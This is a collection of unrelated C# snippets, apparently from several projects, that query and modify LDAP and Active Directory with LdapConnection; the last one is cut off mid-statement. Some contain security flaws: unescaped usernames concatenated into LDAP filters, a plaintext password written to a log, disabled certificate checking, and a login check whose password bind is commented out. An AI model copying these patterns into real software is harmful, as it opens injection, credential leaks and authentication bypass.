/// <summary> /// This method is to help enable the compound identity feature on the computer account in the specific domain. /// </summary> /// <param name="domainName">The domain name of the service principal.</param> /// <param name="computerName">The host name of the service principal.</param> /// <param name="adminName">Need administrator's credential to modify active directory account.</param> /// <param name="adminPwd">Need administrator's credential to modify active directory account.</param> public void enableCompId(string domainName, string computerName, string adminName, string adminPwd) { LdapConnection connection = new LdapConnection(domainName); NetworkCredential cred = new NetworkCredential(adminName, adminPwd, domainName); connection.Credential = cred; string dn = PacHelper.GetDomainDnFromDomainName(domainName); string targetOu = "cn=Computers," + dn; computerName = computerName.Replace("$", ""); string filter = "cn=" + computerName; string[] attributesToReturn = new string[] { "msDS-SupportedEncryptionTypes" }; SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes; object attributeValue = null; attributeValue = PacHelper.getAttributeValue(attributes, "msDS-SupportedEncryptionTypes"); uint? supportedEncTypes = (uint?)Convert.ToInt32(attributeValue); uint compIdFlag = 131072; if ((supportedEncTypes.Value & compIdFlag) != compIdFlag) { string computerDN = filter + "," + targetOu; supportedEncTypes = supportedEncTypes + compIdFlag; ModifyRequest modRequest = new ModifyRequest(computerDN, DirectoryAttributeOperation.Replace, "msDS-SupportedEncryptionTypes", supportedEncTypes.ToString()); ModifyResponse modResponse = (ModifyResponse)connection.SendRequest(modRequest); } }
static void Main(string[] args) { // LdapTest <address> <domain> [<username> <password> [<domain>]] // 0 1 2 3 4 var directory = new LdapDirectoryIdentifier(args[0]); var credential = args.Length > 4 ? new NetworkCredential(args[2], args[3], args[4]) : args.Length > 2 ? new NetworkCredential(args[2], args[3]) : new NetworkCredential(); using (var connection = new LdapConnection(directory, credential)) { //while (true) { var request = new SearchRequest( "DC=" + args[1].Replace(".", ",DC="), "(&(objectClass=organizationalPerson)(sAMAccountType=805306368))", System.DirectoryServices.Protocols.SearchScope.Subtree, new[] { "cn" } ); try { var t = Stopwatch.StartNew(); PageResultRequestControl pageRequestControl = new PageResultRequestControl(1000); // used to retrieve the cookie to send for the subsequent request PageResultResponseControl pageResponseControl; request.Controls.Add(pageRequestControl); while (true) { var response = (SearchResponse)connection.SendRequest(request); pageResponseControl = (PageResultResponseControl)response.Controls[0]; if (pageResponseControl.Cookie.Length == 0) break; pageRequestControl.Cookie = pageResponseControl.Cookie; Console.WriteLine("{0}\t{1} entries: {2} - {3} in {4:F1}", DateTime.Now, response.Entries.Count, AttributeOf(response.Entries[0], "cn"), AttributeOf(response.Entries[response.Entries.Count - 1], "cn"), t.Elapsed.TotalSeconds ); } t.Stop(); } catch (Exception ex) { Console.WriteLine("{0}\tERRROR - {1}", DateTime.Now, ex.Message); } //Thread.Sleep(TimeSpan.FromSeconds(30)); } } }
public bool IsAuthenticated(string username, string pwd) { ILog log = LogManager.GetLogger(GetType()); try { log.InfoFormat("连接Ldap服务器,server是{0}", Server); var connection = new LdapConnection(Server) { AuthType = AuthType.Basic }; connection.SessionOptions.ProtocolVersion = 3; if (!AnonymousLogin) { log.InfoFormat("使用Credential账户是{0},密码是{1}", CredentialUserName, CredentialPassword); connection.Credential = new NetworkCredential(CredentialUserName, CredentialPassword ?? ""); } if (IsSsl) { log.Info("使用SSL连接"); connection.SessionOptions.SecureSocketLayer = true; } log.DebugFormat("创建SearchRequest,distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username); var searchRequestion = new SearchRequest(SearchUserPath, "uid=" + username, SearchScope.Subtree); var searchResult = (SearchResponse)connection.SendRequest(searchRequestion, new TimeSpan(0, 0, 0, 30)); if (searchResult.Entries.Count == 0) { log.InfoFormat("无法通过找到用户.distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username); return false; } SearchResultEntry entry = searchResult.Entries[0]; string dn = entry.DistinguishedName; log.InfoFormat("DN是{0}", dn); connection.Credential = new NetworkCredential(dn, pwd); connection.Bind(); return true; } catch (Exception ex) { log.Error(ex.Message, ex); return false; } }
/// <summary> /// Autentica a un usuario contra openLDAP y verifica su membresia en alguno de los grupos /// </summary> /// <param name="nombreUsuario">Nombre de usuario</param> /// <param name="password">Contraseña del usuario</param> /// <returns>El grupo al que pertenece el usuario o null en caso que no esté registrado.</returns> public GrupoLDAP autenticarUsuario(string nombreUsuario, string password) { // Valida usuario y contraseña correctos LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER); LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER); openLdap.Credential = new System.Net.NetworkCredential("uid=" + nombreUsuario + ",ou=people,dc=ic-itcr,dc=ac,dc=cr", password); openLdap.AuthType = AuthType.Basic; openLdap.SessionOptions.ProtocolVersion = 3; try { openLdap.Bind(); } catch (Exception e) { openLdap.Dispose(); _conexionBD = new ManejoBD(); _conexionBD.insertarBitacoraError(e.ToString(), ""); return null; } // Buscar grupo al que pertenezca el usuario foreach (GrupoLDAP grupo in _listadaGrupos.obtenerGruposLDAP()) { SearchRequest searchRequest = new SearchRequest("cn=" + grupo.NombreGrupo + ",ou=group,dc=ic-itcr,dc=ac,dc=cr", "(memberUid=" + nombreUsuario + ")", System.DirectoryServices.Protocols.SearchScope.Subtree); try { SearchResponse searchResponse = (SearchResponse)openLdap.SendRequest(searchRequest); if (searchResponse.Entries.Count != 0) { openLdap.Dispose(); return grupo; } } catch (Exception e)// En caso que algún grupo registrado en ListadoGruposLDAP.getGroupList() no exista. { _conexionBD = new ManejoBD(); _conexionBD.insertarBitacoraError(e.ToString(), "Algún grupo registrado en ListadoGruposLDAP.getGroupList() no existe."); continue; } } openLdap.Dispose(); return null; }
public static bool ChangePassword(LdapConnection connection, string userDN, string oldPassword, string newPassword, bool dryRun = false) { // Create change password request DirectoryAttributeModification deleteMod = new DirectoryAttributeModification(); deleteMod.Name = "unicodePwd"; deleteMod.Add(Encoding.Unicode.GetBytes("\"" + oldPassword + "\"")); deleteMod.Operation = DirectoryAttributeOperation.Delete; DirectoryAttributeModification addMod = new DirectoryAttributeModification(); addMod.Name = "unicodePwd"; addMod.Add(Encoding.Unicode.GetBytes("\"" + newPassword + "\"")); addMod.Operation = DirectoryAttributeOperation.Add; ModifyRequest request = new ModifyRequest(userDN, deleteMod, addMod); try { if (!dryRun) { DirectoryResponse response = connection.SendRequest(request); return response.ResultCode == 0; } else { return true; } } catch (DirectoryOperationException ex) { if (ex.Response.ErrorMessage.StartsWith("0000052D")) { throw new Exception("Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain."); } // TODO: Convert to DirectoryOperationException and use better match to give the dsHeuristics exception else if (ex.Message == "The object does not exist") { throw new Exception("User not allowed to change own password because of missing permission, set dsHeuristics to 0000000001001 on CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,CN=..."); } else { throw; } } }
public LdapUserModel ValidateUsernameAndPassword(string username, string password) { var ldapServer = Configuration.Server; var baseDn = Configuration.BaseDn; try { LdapConnection connection = new LdapConnection(ldapServer); connection.SessionOptions.SecureSocketLayer = true; connection.SessionOptions.VerifyServerCertificate = (ldapConnection, certificate) => true; connection.AuthType = AuthType.Negotiate; NetworkCredential credential = new NetworkCredential(username, password); connection.Credential = credential; connection.Bind(); string filter = string.Format(CultureInfo.InvariantCulture, "(&(objectClass=user)(objectCategory=user) (sAMAccountName={0}))", LdapEncode(username)); var attributes = new[] { "sAMAccountName", "displayName", "mail" }; SearchRequest searchRequest = new SearchRequest(baseDn, filter, SearchScope.Subtree, attributes); var searchResponse = (SearchResponse)connection.SendRequest(searchRequest); if (searchResponse?.ResultCode == ResultCode.Success) { var entry = searchResponse.Entries[0]; var model = new LdapUserModel { Identity = GetStringValue(entry, "sAMAccountName"), Email = GetStringValue(entry, "mail"), Username = GetStringValue(entry, "sAMAccountName"), }; return model; } } catch (Exception) { return null; } return null; }
private static RangeResult GetRangeBlock(LdapConnection conn, string entryDn, string attrName, int start, int? end, bool extendedDns) { SearchRequest req = new SearchRequest(); req.DistinguishedName = entryDn; req.Scope = SearchScope.Base; req.Filter = "(&(objectClass=*))"; req.Attributes.Add(attrName + ";range=" + start + "-" + (end == null ? "*" : end.ToString())); if (extendedDns) req.Controls.Add(new ExtendedDNControl(ExtendedDNFlag.StandardString)); SearchResponse resp = (SearchResponse)conn.SendRequest(req); if (resp.Entries.Count == 0) return null; SearchResultEntry e = resp.Entries[0]; foreach (string s in e.Attributes.AttributeNames) if (s.StartsWith(attrName, StringComparison.InvariantCultureIgnoreCase)) { RangeResult res = new RangeResult(); DirectoryAttribute attr = e.Attributes[s]; res.Values = (string[])attr.GetValues(typeof(string)); if (s.EndsWith("*")) res.IsFinal = true; int pos = s.IndexOf('='); int hyp = s.IndexOf('-', pos + 1); res.Start = int.Parse(s.Substring(pos + 1, hyp - pos - 1)); if (!res.IsFinal) res.End = int.Parse(s.Substring(hyp + 1)); return res; } return null; }
public static SearchResponse GetSearchResponse(string searchFilter, string searchBase, int sizeLimit = 500) { //Establishing a Connection to the LDAP Server var ldapident = new LdapDirectoryIdentifier(STR_LDAPURL, STR_LDAPPort); //LdapConnection lc = new LdapConnection(ldapident, null, AuthType.Basic); var lc = new LdapConnection(ldapident, new NetworkCredential(LDAPUser, LDAPPassword), AuthType.Basic); lc.Bind(); lc.SessionOptions.ProtocolVersion = 3; lc.SessionOptions.SecureSocketLayer = true; //Configure the Search Request to Query the UCD OpenLDAP Server's People Search Base for a Specific User ID or Mail ID and Return the Requested Attributes var attributesToReturn = new string[] { STR_UID, STR_EmployeeNumber, STR_Mail, STR_Telephone, STR_DisplayName, STR_CN, STR_SN, STR_GivenName, STR_PIDM }; var sRequest = new SearchRequest(searchBase, searchFilter, SearchScope.Subtree, attributesToReturn) { SizeLimit = sizeLimit }; //Send the Request and Load the Response var sResponse = (SearchResponse)lc.SendRequest(sRequest); return sResponse; }
/// <summary> /// Get the base distiguished names that will be searched for certificate resolution. /// </summary> /// <param name="connection">The <see cref="LdapConnection"/> connection to the LDAP server that will be searched.. </param> /// <returns>A List of strings representing the base distiguished names of the LDAP server.</returns> protected List<String> GetBaseNamingContext(LdapConnection connection) { var retVal = new List<String>(); // get the base DNs var request = Search.NamingContextRequest(); var searchResponse = (SearchResponse)connection.SendRequest(request); if (searchResponse == null || searchResponse.Entries == null || searchResponse.Entries.Count == 0) { return null; } try { foreach (SearchResultEntry entry in searchResponse.Entries) { if (entry.Attributes != null && entry.Attributes.Values != null && entry.Attributes.Count > 0) { foreach (DirectoryAttribute entryAttr in entry.Attributes.Values) { SetAttribute(entryAttr, retVal); } } } } catch (Exception ldapEx) { this.Error.NotifyEvent(this, ldapEx); } return retVal; }
public void Delete(LdapConnection ldap) { CheckForDeletion(); if (this.IsNewEntry) { throw new InvalidOperationException(String.Format("Entry {0} was never committed - cannot delete", this.DistinguishedName)); } DeleteRequest del = new DeleteRequest(this.DistinguishedName); ldap.SendRequest(del); this.IsDeleted = true; }
/// <summary> /// Send all pending changes to the directory service. If there is a pending rename / re-superior, /// it will fire first. /// </summary> /// <param name="ldap"></param> public void CommitChanges(LdapConnection ldap) { CheckForDeletion(); if (this.IsDnDirty) { ModifyDNRequest req = new ModifyDNRequest(); req.DistinguishedName = this.OriginalDn; req.NewName = this.RDN; logger.Info("Request new name {0}", req.NewName); req.DeleteOldRdn = true; if (this.IsSuperiorDirty) { req.NewParentDistinguishedName = this.SuperiorDn; logger.Info("Request new superior {0}", req.NewParentDistinguishedName); } ldap.SendRequest(req); this.IsDnDirty = false; this.IsSuperiorDirty = false; this.OriginalDn = this.DistinguishedName; } if (_changes.Count > 0) { if (this.IsNewEntry) { AddRequest req = new AddRequest(this.DistinguishedName); foreach (DirectoryAttributeModification dm in this.ChangesAsDAMC()) req.Attributes.Add(new DirectoryAttribute(dm.Name, dm.GetValues(typeof(string)))); ldap.SendRequest(req); } else { ModifyRequest req = new ModifyRequest(this.DistinguishedName); foreach (DirectoryAttributeModification dm in this.ChangesAsDAMC()) req.Modifications.Add(dm); ldap.SendRequest(req); } _changes.Clear(); this.IsNewEntry = false; logger.Info("Commit on {0} complete", this.DistinguishedName); } else { logger.Info("Nothing to commit on {0}", this.DistinguishedName); if (this.IsNewEntry) throw new InvalidOperationException( "Cannot commit a new directory object with no attributes"); } }
public static bool SetPassword(LdapConnection connection, string userDN, string newPassword, bool dryRun = false) { DirectoryAttributeModification addMod = new DirectoryAttributeModification(); addMod.Name = "unicodePwd"; addMod.Add(Encoding.Unicode.GetBytes("\"" + newPassword + "\"")); addMod.Operation = DirectoryAttributeOperation.Replace; ModifyRequest request = new ModifyRequest(userDN, addMod); try { if (!dryRun) { DirectoryResponse response = connection.SendRequest(request); return response.ResultCode == 0; } else { return true; } } catch (DirectoryOperationException ex) { if (ex.Response.ErrorMessage.StartsWith("0000052D")) { throw new Exception("Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain."); } else { throw; } } }
/// <summary> /// Checks if the user is a local directory user. /// </summary> /// <param name="username">The username.</param> /// <returns>[true] if the user is a local directory user.</returns> /// <remarks>Documented by Dev03, 2008-11-25</remarks> private bool CheckLocalDirectoryUser(string username) { try { switch (connector.GetLocalDirectoryType()) { case LocalDirectoryType.ActiveDirectory: string domain = username.Substring(0, username.IndexOf(@"\")); PrincipalContext context; if (!String.IsNullOrWhiteSpace(connector.GetLdapUser()) && !String.IsNullOrWhiteSpace(domain)) context = new PrincipalContext(ContextType.Domain, domain, connector.GetLdapUser(), connector.GetLdapPassword()); if (!String.IsNullOrWhiteSpace(domain)) context = new PrincipalContext(ContextType.Domain, domain); else context = new PrincipalContext(ContextType.Domain); UserPrincipal user = UserPrincipal.FindByIdentity(context, username); return user != null; case LocalDirectoryType.eDirectory: LdapConnection connection = new LdapConnection(new LdapDirectoryIdentifier(connector.GetLdapServer())); connection.AuthType = AuthType.Basic; connection.SessionOptions.SecureSocketLayer = connector.GetLdapUseSSL(); if (connector.GetLdapUser() != null && connector.GetLdapUser().Length > 0) connection.Bind(new System.Net.NetworkCredential(connector.GetLdapUser(), connector.GetLdapPassword())); else connection.Bind(); string searchString = String.Format("(&(|(cn={0})(uid={0}))(|(objectClass=user)(objectClass=person)))", username.Substring(username.LastIndexOf("\\") + 1)); SearchResponse response = connection.SendRequest(new SearchRequest(connector.GetLdapContext(), searchString, SearchScope.Subtree, null)) as SearchResponse; if (response.Entries.Count > 0) return true; break; } } catch { return false; } return true; }
public string createUserLdap(User user) { ldapId = new LdapDirectoryIdentifier(HOST, PORT); network = new NetworkCredential(ADMIN, ADMIN_PASS); using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic)) { try { string[] objectClass = new string[] { "top", "inetOrgPerson", "organizationalPerson", "person" }; connection.SessionOptions.SecureSocketLayer = false; connection.SessionOptions.ProtocolVersion = 3; String dn = DN_CREATE.Replace("{0}", user.email); DirectoryAttributeCollection collection = new DirectoryAttributeCollection() { new DirectoryAttribute("objectclass", objectClass), new DirectoryAttribute("uid",user.email), new DirectoryAttribute("sn", user.lastName), new DirectoryAttribute("cn", user.userName), new DirectoryAttribute("employeeNumber", user.userId), new DirectoryAttribute("departmentNumber", user.userGroup), new DirectoryAttribute("userPassword", user.password) }; AddRequest addMe = new AddRequest(dn, "inetOrgPerson"); addMe.Attributes.AddRange(collection); connection.Bind(); connection.SendRequest(addMe); return "OK"; } catch (LdapException ex) { throw new BusinessException("Ldap error: " + ex.Message); } catch (Exception e) { throw new PlatformException("Ldap error: " + e.Message); } } }
/// <summary> /// Authenticate a user against a AD server /// </summary> /// <param name="username">username to check</param> /// <param name="password">password of the user</param> /// <returns></returns> public bool ValidateUser(string username, string password) { try { LdapConnection ldap = new LdapConnection(new LdapDirectoryIdentifier(host, port)); ldap.SessionOptions.ProtocolVersion = protocolVersion; ldap.AuthType = AuthType.Basic; ldap.Credential = new NetworkCredential(adminUsername, adminPassword); ldap.SessionOptions.SecureSocketLayer = secureSocket; ldap.Bind(); ldap.AuthType = AuthType.Basic; SearchRequest searchRequest = new SearchRequest( baseDn, string.Format(CultureInfo.InvariantCulture, "{0}={1}", authUid, username), SearchScope.Subtree ); SearchResponse searchResponse = (SearchResponse)ldap.SendRequest(searchRequest); if (1 == searchResponse.Entries.Count) { //ldap.Bind(new NetworkCredential(searchResponse.Entries[0].DistinguishedName, password)); } else { throw new Exception("Login failed."); } } catch (Exception e) { //Todo: Pass error to logging framework instead of console! Console.WriteLine(e.Message); return false; } return true; }
internal DirectoryInformation(string adspath, NetworkCredential credentials, string connProtection, int clientSearchTimeout, int serverSearchTimeout, bool enablePasswordReset) { // // all parameters have already been validated at this point // this.adspath = adspath; this.credentials = credentials; this.clientSearchTimeout = clientSearchTimeout; this.serverSearchTimeout = serverSearchTimeout; Debug.Assert(adspath != null); Debug.Assert(adspath.Length > 0); // // Provider must be LDAP // if (!(adspath.StartsWith("LDAP", StringComparison.Ordinal))) throw new ProviderException(SR.GetString(SR.ADMembership_OnlyLdap_supported)); // // Parse out the server/domain information // NativeComInterfaces.IAdsPathname pathCracker = (NativeComInterfaces.IAdsPathname) new NativeComInterfaces.Pathname(); try { pathCracker.Set(adspath, NativeComInterfaces.ADS_SETTYPE_FULL); } catch (COMException e) { if (e.ErrorCode == unchecked((int) 0x80005000)) throw new ProviderException(SR.GetString(SR.ADMembership_invalid_path)); else throw; } // Get the server and container names try { serverName = pathCracker.Retrieve(NativeComInterfaces.ADS_FORMAT_SERVER); } catch (COMException e) { if (e.ErrorCode == unchecked((int) 0x80005000)) throw new ProviderException(SR.GetString(SR.ADMembership_ServerlessADsPath_not_supported)); else throw; } Debug.Assert(serverName != null); creationContainerDN = containerDN = pathCracker.Retrieve(NativeComInterfaces.ADS_FORMAT_X500_DN); // // Parse out the port number if specified // int index = serverName.IndexOf(':'); if (index != -1) { string tempStr = serverName; serverName = tempStr.Substring(0, index); Debug.Assert(tempStr.Length > index); port = Int32.Parse(tempStr.Substring(index + 1), NumberFormatInfo.InvariantInfo); portSpecified = true; } if (String.Compare(connProtection, "Secure", StringComparison.Ordinal) == 0) { // // The logic is as follows: // 1. Try Ssl first and check if concurrent binds are possible for validating users // 2. If Ssl is not supported, try signing and sealing // 3. If both the above are not supported, then we will fail // bool trySignAndSeal = false; bool trySslWithSecureAuth = false; // first try with simple bind if (!IsDefaultCredential()) { authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.NonWindows); ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.NonWindows); try { rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType); // this will force a bind rootdse.RefreshCache(); this.connectionProtection = ActiveDirectoryConnectionProtection.Ssl; if (!portSpecified) { port = SSL_PORT; portSpecified = true; } } catch (COMException ce) { if (ce.ErrorCode == unchecked((int) 0x8007052e)) { // // this could be an ADAM target with windows user (in that case simple bind will not work) // trySslWithSecureAuth = true; } else if (ce.ErrorCode == unchecked((int) 0x8007203a)) { // server is not operational error, do nothing, we need to fall back to SignAndSeal trySignAndSeal = true; } else throw; } } else { // default credentials, so we have to do secure bind trySslWithSecureAuth = true; } if (trySslWithSecureAuth) { authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.Windows); ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.Windows); try { rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType); // this will force a bind rootdse.RefreshCache(); this.connectionProtection = ActiveDirectoryConnectionProtection.Ssl; if (!portSpecified) { port = SSL_PORT; portSpecified = true; } } catch (COMException ce) { if (ce.ErrorCode == unchecked((int) 0x8007203a)) { // server is not operational error, do nothing, we need to fall back to SignAndSeal trySignAndSeal = true; } else throw; } } if (trySignAndSeal) { authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.SignAndSeal, CredentialsType.Windows); ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.SignAndSeal, CredentialsType.Windows); try { rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType); rootdse.RefreshCache(); this.connectionProtection = ActiveDirectoryConnectionProtection.SignAndSeal; } catch (COMException e) { throw new ProviderException(SR.GetString(SR.ADMembership_Secure_connection_not_established, e.Message), e); } } } else { // // No connection protection // // // we will do a simple bind but we must ensure that the credentials are explicitly specified // since in the case of default credentials we cannot honor it (default credentials become anonymous in the case of // simple bind) // if (IsDefaultCredential()) throw new NotSupportedException(SR.GetString(SR.ADMembership_Default_Creds_not_supported)); // simple bind authenticationType = GetAuthenticationTypes(connectionProtection, CredentialsType.NonWindows); ldapAuthType = GetLdapAuthenticationTypes(connectionProtection, CredentialsType.NonWindows); rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType); } // // Determine whether this is AD or ADAM by binding to the rootdse and // checking the supported capabilities // if (rootdse == null) rootdse = new DirectoryEntry(GetADsPath("RootDSE"), GetUsername(), GetPassword(), authenticationType); directoryType = GetDirectoryType(); // // if the directory type is ADAM and the conntectionProtection was selected // as sign and seal, then we should throw an ProviderException. This is becuase validate user will always fail for ADAM // because ADAM does not support secure authentication for ADAM users. // if ((directoryType == DirectoryType.ADAM) && (this.connectionProtection == ActiveDirectoryConnectionProtection.SignAndSeal)) throw new ProviderException(SR.GetString(SR.ADMembership_Ssl_connection_not_established)); // // for AD, we need to block the GC ports // if ((directoryType == DirectoryType.AD) && ((port == GC_PORT) || (port == GC_SSL_PORT))) throw new ProviderException(SR.GetString(SR.ADMembership_GCPortsNotSupported)); // // if container dn is null, we need to get the default naming context // (containerDN cannot be null for ADAM) // if (String.IsNullOrEmpty(containerDN)) { if (directoryType == DirectoryType.AD) { containerDN = (string)rootdse.Properties["defaultNamingContext"].Value; if (containerDN == null) throw new ProviderException(SR.GetString(SR.ADMembership_DefContainer_not_specified)); // // we will create users in the default users container, check that it exists // string wkUsersContainerPath = GetADsPath("<WKGUID=" + GUID_USERS_CONTAINER_W + "," + containerDN + ">"); DirectoryEntry containerEntry = new DirectoryEntry(wkUsersContainerPath, GetUsername(), GetPassword(), authenticationType); try { creationContainerDN = (string) PropertyManager.GetPropertyValue(containerEntry, "distinguishedName"); } catch (COMException ce) { if (ce.ErrorCode == unchecked((int) 0x80072030)) throw new ProviderException(SR.GetString(SR.ADMembership_DefContainer_does_not_exist)); else throw; } } else { // container must be specified for ADAM throw new ProviderException(SR.GetString(SR.ADMembership_Container_must_be_specified)); } } else { // // Normalize the container name (incase it was specified as GUID or WKGUID) // DirectoryEntry containerEntry = new DirectoryEntry(GetADsPath(containerDN), GetUsername(), GetPassword(), authenticationType); try { creationContainerDN = containerDN = (string) PropertyManager.GetPropertyValue(containerEntry, "distinguishedName"); } catch (COMException ce) { if (ce.ErrorCode == unchecked((int) 0x80072030)) throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist)); else throw; } } // // Check if the specified path(container) exists on the specified server/domain // (NOTE: We need to do this using S.DS.Protocols rather than S.DS because we need to // bypass the referral chasing which is automatic in S.DS) // LdapConnection tempConnection = new LdapConnection(new LdapDirectoryIdentifier(serverName + ":" + port), GetCredentialsWithDomain(credentials), ldapAuthType); tempConnection.SessionOptions.ProtocolVersion = 3; try { tempConnection.SessionOptions.ReferralChasing = System.DirectoryServices.Protocols.ReferralChasingOptions.None; SetSessionOptionsForSecureConnection(tempConnection, false /*useConcurrentBind */); tempConnection.Bind(); SearchRequest request = new SearchRequest(); request.DistinguishedName = containerDN; request.Filter = "(objectClass=*)"; request.Scope = System.DirectoryServices.Protocols.SearchScope.Base; request.Attributes.Add("distinguishedName"); request.Attributes.Add("objectClass"); if (ServerSearchTimeout != -1) request.TimeLimit = new TimeSpan(0, ServerSearchTimeout, 0); SearchResponse response; try { response = (SearchResponse) tempConnection.SendRequest(request); if (response.ResultCode == ResultCode.Referral || response.ResultCode == ResultCode.NoSuchObject) throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist)); else if (response.ResultCode != ResultCode.Success) throw new ProviderException(response.ErrorMessage); } catch (DirectoryOperationException oe) { SearchResponse errorResponse = (SearchResponse) oe.Response; if (errorResponse.ResultCode == ResultCode.NoSuchObject) throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist)); else throw; } // // check that the container is of an object type that can be a superior of a user object // DirectoryAttribute objectClass = response.Entries[0].Attributes["objectClass"]; if (!ContainerIsSuperiorOfUser(objectClass)) throw new ProviderException(SR.GetString(SR.ADMembership_Container_not_superior)); // // Determine whether concurrent bind is supported // if ((connectionProtection == ActiveDirectoryConnectionProtection.None) || (connectionProtection == ActiveDirectoryConnectionProtection.Ssl)) { this.concurrentBindSupported = IsConcurrentBindSupported(tempConnection); } } finally { tempConnection.Dispose(); } // // if this is ADAM, get the partition DN // if (directoryType == DirectoryType.ADAM) { adamPartitionDN = GetADAMPartitionFromContainer(); } else { if (enablePasswordReset) { // for AD, get the lockout duration for user account auto unlock DirectoryEntry de = new DirectoryEntry(GetADsPath((string) PropertyManager.GetPropertyValue(rootdse, "defaultNamingContext")), GetUsername(), GetPassword(), AuthenticationTypes); NativeComInterfaces.IAdsLargeInteger largeIntValue = (NativeComInterfaces.IAdsLargeInteger) PropertyManager.GetPropertyValue(de, "lockoutDuration"); Int64 int64Value = largeIntValue.HighPart * 0x100000000 + (uint) largeIntValue.LowPart; // int64Value is the negative of the number of 100 nanoseconds interval that makes up the lockout duration adLockoutDuration = new TimeSpan(-int64Value); } } }
private void SetCerts(LdapConnection connection, SearchRequest request, X509Certificate2Collection retVal) { // send the LDAP request using the mail attribute as the search filter and return the userCertificate attribute var response = (SearchResponse)connection.SendRequest(request); if (response != null && response.Entries.Count > 0) { foreach (SearchResultEntry entry in response.Entries) { SetCerts(entry, retVal); } } }
private bool IsConcurrentBindSupported(LdapConnection ldapConnection) { bool result = false; Debug.Assert(ldapConnection != null); // // supportedExtension is a constructed attribute so we need to search and load that attribute explicitly // SearchRequest request = new SearchRequest(); request.Scope = System.DirectoryServices.Protocols.SearchScope.Base; request.Attributes.Add("supportedExtension"); if (ServerSearchTimeout != -1) request.TimeLimit = new TimeSpan(0, ServerSearchTimeout, 0); SearchResponse response = (SearchResponse) ldapConnection.SendRequest(request); if (response.ResultCode != ResultCode.Success) throw new ProviderException(response.ErrorMessage); foreach (string supportedExtension in response.Entries[0].Attributes["supportedExtension"].GetValues(typeof(string))) { if (StringUtil.EqualsIgnoreCase(supportedExtension, LDAP_SERVER_FAST_BIND_OID)) { result = true; break; } } return result; }
static void Main(string[] args) { Console.Error.WriteLine("ShowAdCerts v1.0, (c) 2012 Zetetic LLC"); if (args.Length == 1 && args[0].EndsWith("?")) { Console.Error.WriteLine(@"Switches (all are optional): -h host or domain name (default = default logon server) -f ldap filter (default = userCertificate=* ) -b search base (default = domain root NC ) -v (turn on cert validation of non-expired certs ) -r (dump raw cert data ) "); System.Environment.ExitCode = 1; return; } string searchbase = null, filter = "(&(userCertificate=*))", host = ""; bool validate = false, raw = false; try { for (int i = 0; i < args.Length; i++) { switch (args[i]) { case "-h": host = args[++i]; break; case "-r": raw = true; break; case "-f": filter = args[++i]; switch (filter.ToLowerInvariant()) { case "computer": filter = "(&(userCertificate=*)(objectCategory=computer))"; break; case "user": case "person": filter = "(&(userCertificate=*)(objectCategory=person))"; break; } break; case "-b": searchbase = args[++i]; break; case "-v": validate = true; break; default: Console.Error.WriteLine("Unknown argument {0}", args[i]); break; } } using (var conn = new LdapConnection(host)) { conn.SessionOptions.ProtocolVersion = 3; if (string.IsNullOrEmpty(searchbase)) { var e = ((SearchResponse)conn.SendRequest(new SearchRequest( "", "(&(objectClass=*))", SearchScope.Base, "defaultNamingContext"))).Entries[0]; searchbase = e.Attributes["defaultNamingContext"][0].ToString(); } var srch = new SearchRequest(searchbase, filter, SearchScope.Subtree, "userCertificate"); var pager = new PageResultRequestControl(); srch.Controls.Add(pager); int count = 0; while (true) { var resp = (SearchResponse)conn.SendRequest(srch); foreach (SearchResultEntry se in resp.Entries) { if (!se.Attributes.Contains("userCertificate")) { continue; } Console.WriteLine("# {0}", ++count); Console.WriteLine("dn: {0}", se.DistinguishedName); foreach (var o in se.Attributes["userCertificate"].GetValues(typeof(byte[]))) { byte[] bytes = (byte[])o; try { X509Certificate2 cert = new X509Certificate2(bytes); Console.WriteLine("subject: {0}", string.IsNullOrEmpty(cert.Subject) ? cert.SubjectName.Name : cert.Subject); Console.WriteLine("issuer: {0}", cert.Issuer); Console.WriteLine("thumbprint: {0}", cert.Thumbprint); Console.WriteLine("serial: {0}", cert.SerialNumber); var estr = cert.GetExpirationDateString(); var expired = false; if (!string.IsNullOrEmpty(estr)) { Console.WriteLine("exp: {0}", estr); DateTime dt; if (DateTime.TryParse(estr, out dt) && dt < DateTime.Now) { Console.WriteLine("expired: TRUE"); expired = true; } } if (validate && !expired) { Console.WriteLine("valid: {0}", cert.Verify().ToString().ToUpperInvariant()); } } catch (Exception e) { Console.WriteLine("exception: {0}, {1}", e.GetType(), e.Message); } if (raw) { var s = Convert.ToBase64String(bytes); Console.WriteLine("-----BEGIN CERTIFICATE-----"); for (int i = 0; i < s.Length; i += 78) { Console.WriteLine(s.Substring(i, Math.Min(78, s.Length - i))); } Console.WriteLine("-----END CERTIFICATE-----"); } Console.WriteLine("-"); } Console.WriteLine(""); } var rc = resp.Controls.SingleOrDefault(t => t is PageResultResponseControl) as PageResultResponseControl; if (rc == null || rc.Cookie == null || rc.Cookie.Length == 0) break; pager.Cookie = rc.Cookie; } } } catch (Exception e) { 